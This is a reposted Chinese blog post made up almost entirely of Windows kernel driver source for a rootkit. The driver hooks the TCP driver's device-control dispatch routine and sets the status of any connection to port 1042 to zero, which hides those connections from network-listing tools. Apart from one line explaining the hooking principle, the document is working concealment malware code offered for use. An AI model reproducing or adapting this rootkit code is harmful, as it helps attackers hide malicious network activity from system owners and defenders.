原理:
直接IoGetDeviceObjectPointer根据名称获取驱动对象,然后更改分发函数数组元素即可HOOK指定IRP分发函数。
//irphook.h
///
typedef BOOLEAN BOOL;
typedef unsigned long DWORD;
typedef DWORD * PDWORD;
typedef unsigned long ULONG;
typedef unsigned short WORD;
typedef unsigned char BYTE;
typedef BYTE * LPBYTE;
#define IOCTL_TCP_QUERY_INFORMATION_EX 0x00120003
//#define MAKEPORT(a, b) ((WORD)(((UCHAR)(a))|((WORD)((UCHAR)(b))) << 8))
#define HTONS(a) (((0xFF&a)<<8) + ((0xFF00&a)>>8))
typedef struct _CONNINFO101 {
unsigned long status;
unsigned long src_addr;
unsigned short src_port;
unsigned short unk1;
unsigned long dst_addr;
unsigned short dst_port;
unsigned short unk2;
} CONNINFO101, *PCONNINFO101;
typedef struct _CONNINFO102 {
unsigned long status;
unsigned long src_addr;
unsigned short src_port;
unsigned short unk1;
unsigned long dst_addr;
unsigned short dst_port;
unsigned short unk2;
unsigned long pid;
} CONNINFO102, *PCONNINFO102;
typedef struct _CONNINFO110 {
unsigned long size;
unsigned long status;
unsigned long src_addr;
unsigned short src_port;
unsigned short unk1;
unsigned long dst_addr;
unsigned short dst_port;
unsigned short unk2;
unsigned long pid;
PVOID unk3[35];
} CONNINFO110, *PCONNINFO110;
typedef struct _REQINFO {
PIO_COMPLETION_ROUTINE OldCompletion;
unsigned long ReqType;
} REQINFO, *PREQINFO;
PFILE_OBJECT pFile_tcp;
PDEVICE_OBJECT pDev_tcp;
PDRIVER_OBJECT pDrv_tcpip;
typedef NTSTATUS (*OLDIRPMJDEVICECONTROL)(IN PDEVICE_OBJECT, IN PIRP);
OLDIRPMJDEVICECONTROL OldIrpMjDeviceControl;
NTSTATUS RootkitUnload(IN PDRIVER_OBJECT);
NTSTATUS InstallTCPDriverHook();
NTSTATUS HookedDeviceControl(IN PDEVICE_OBJECT, IN PIRP);
NTSTATUS IoCompletionRoutine(IN PDEVICE_OBJECT, IN PIRP, IN PVOID);
//irphook.cpp
#include
#include
#include "irphook.h"
NTSTATUS DriverEntry(
IN PDRIVER_OBJECT DriverObject,
IN PUNICODE_STRING RegistryPath
)
{
NTSTATUS ntStatus;
OldIrpMjDeviceControl = NULL;
DriverObject->DriverUnload = RootkitUnload;
ntStatus = InstallTCPDriverHook();
if(!NT_SUCCESS(ntStatus))
return ntStatus;
return STATUS_SUCCESS;
}
NTSTATUS InstallTCPDriverHook()
{
NTSTATUS ntStatus;
// UNICODE_STRING deviceNameUnicodeString;
// UNICODE_STRING deviceLinkUnicodeString;
UNICODE_STRING deviceTCPUnicodeString;
//想hook的对象
WCHAR deviceTCPNameBuffer[] = L"\\Device\\Tcp";
pFile_tcp = NULL;
pDev_tcp = NULL;
pDrv_tcpip = NULL;
RtlInitUnicodeString (&deviceTCPUnicodeString, deviceTCPNameBuffer);
//通过名字获取设备对象的指针
//设备名字 权限 文件对象 设备对象
ntStatus = IoGetDeviceObjectPointer(&deviceTCPUnicodeString, FILE_READ_DATA, &pFile_tcp, &pDev_tcp);
if(!NT_SUCCESS(ntStatus))
return ntStatus;
//驱动对象
pDrv_tcpip = pDev_tcp->DriverObject;
//分发处理例程 保存原始函数用于处理后下发
OldIrpMjDeviceControl = pDrv_tcpip->MajorFunction[IRP_MJ_DEVICE_CONTROL];
if (OldIrpMjDeviceControl)
InterlockedExchange ((PLONG)&pDrv_tcpip->MajorFunction[IRP_MJ_DEVICE_CONTROL], (LONG)HookedDeviceControl);
return STATUS_SUCCESS;
}
//hook
NTSTATUS HookedDeviceControl(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp)
{
PIO_STACK_LOCATION irpStack;
ULONG ioTransferType;
TDIObjectID *inputBuffer;
DWORD context;
//DbgPrint("The current IRP is at %x\n", Irp);
irpStack = IoGetCurrentIrpStackLocation (Irp);
switch (irpStack->MajorFunction)
{
case IRP_MJ_DEVICE_CONTROL:
if ((irpStack->MinorFunction == 0) && \
(irpStack->Parameters.DeviceIoControl.IoControlCode == IOCTL_TCP_QUERY_INFORMATION_EX))
{
ioTransferType = irpStack->Parameters.DeviceIoControl.IoControlCode;
ioTransferType &= 3;
if (ioTransferType == METHOD_NEITHER) // Need to know the method to find input buffer
{
inputBuffer = (TDIObjectID *) irpStack->Parameters.DeviceIoControl.Type3InputBuffer;
// CO_TL_ENTITY is for TCP and CL_TL_ENTITY is for UDP
if (inputBuffer->toi_entity.tei_entity == CO_TL_ENTITY)
{
// DbgPrint("Input buffer %x\n",inputBuffer);
if ((inputBuffer->toi_id == 0x101) || (inputBuffer->toi_id == 0x102) || (inputBuffer->toi_id == 0x110))
{
// Call our completion routine if IRP successful
irpStack->Control = 0;
irpStack->Control |= SL_INVOKE_ON_SUCCESS;
// Save old completion routine if present
irpStack->Context = (PIO_COMPLETION_ROUTINE) ExAllocatePoolWithTag(NonPagedPool, sizeof(REQINFO), 'PRI');
((PREQINFO)irpStack->Context)->OldCompletion = irpStack->CompletionRoutine;
((PREQINFO)irpStack->Context)->ReqType = inputBuffer->toi_id;
// Setup our function to be called on completion of IRP
irpStack->CompletionRoutine = (PIO_COMPLETION_ROUTINE)IoCompletionRoutine;
}
}
}
}
break;
default:
break;
}
return OldIrpMjDeviceControl(DeviceObject, Irp);
}
NTSTATUS IoCompletionRoutine(IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp,
IN PVOID Context)
{
PVOID OutputBuffer;
DWORD NumOutputBuffers;
PIO_COMPLETION_ROUTINE p_compRoutine;
DWORD i;
// Connection status values:
// 0 = Invisible
// 1 = CLOSED
// 2 = LISTENING
// 3 = SYN_SENT
// 4 = SYN_RECEIVED
// 5 = ESTABLISHED
// 6 = FIN_WAIT_1
// 7 = FIN_WAIT_2
// 8 = CLOSE_WAIT
// 9 = CLOSING
// ...
OutputBuffer = Irp->UserBuffer;
p_compRoutine = ((PREQINFO)Context)->OldCompletion;
if (((PREQINFO)Context)->ReqType == 0x101)
{
NumOutputBuffers = Irp->IoStatus.Information / sizeof(CONNINFO101);
for(i = 0; i < NumOutputBuffers; i++)
{
// Hide all Web connections
if (HTONS(((PCONNINFO101)OutputBuffer)[i].dst_port) == 1042)
((PCONNINFO101)OutputBuffer)[i].status = 0;
}
}
else if (((PREQINFO)Context)->ReqType == 0x102)
{
NumOutputBuffers = Irp->IoStatus.Information / sizeof(CONNINFO102);
for(i = 0; i < NumOutputBuffers; i++)
{
// Hide all Web connections
if (HTONS(((PCONNINFO102)OutputBuffer)[i].dst_port) == 1042)
((PCONNINFO102)OutputBuffer)[i].status = 0;
}
}
else if (((PREQINFO)Context)->ReqType == 0x110)
{
NumOutputBuffers = Irp->IoStatus.Information / sizeof(CONNINFO110);
for(i = 0; i < NumOutputBuffers; i++)
{
// Hide all Web connections
if (HTONS(((PCONNINFO110)OutputBuffer)[i].dst_port) == 1042)
((PCONNINFO110)OutputBuffer)[i].status = 0;
}
}
ExFreePool(Context);
/*
for(i = 0; i < NumOutputBuffers; i++)
{
DbgPrint("Status: %d",OutputBuffer[i].status);
DbgPrint(" %d.%d.%d.%d:%d",OutputBuffer[i].src_addr & 0xff,OutputBuffer[i].src_addr >> 8 & 0xff, OutputBuffer[i].src_addr >> 16 & 0xff,OutputBuffer[i].src_addr >> 24,HTONS(OutputBuffer[i].src_port));
DbgPrint(" %d.%d.%d.%d:%d\n",OutputBuffer[i].dst_addr & 0xff,OutputBuffer[i].dst_addr >> 8 & 0xff, OutputBuffer[i].dst_addr >> 16 & 0xff,OutputBuffer[i].dst_addr >> 24,HTONS(OutputBuffer[i].dst_port));
}*/
if ((Irp->StackCount > (ULONG)1) && (p_compRoutine != NULL))
{
return (p_compRoutine)(DeviceObject, Irp, NULL);
}
else
{
return Irp->IoStatus.Status;
}
}
NTSTATUS RootkitUnload(IN PDRIVER_OBJECT DriverObject)
{
if (OldIrpMjDeviceControl)
InterlockedExchange ((PLONG)&pDrv_tcpip->MajorFunction[IRP_MJ_DEVICE_CONTROL], (LONG)OldIrpMjDeviceControl);
if (pFile_tcp != NULL)
ObDereferenceObject(pFile_tcp);
pFile_tcp = NULL;
return STATUS_SUCCESS;
}
转载于:https://blog.51cto.com/haidragon/2307152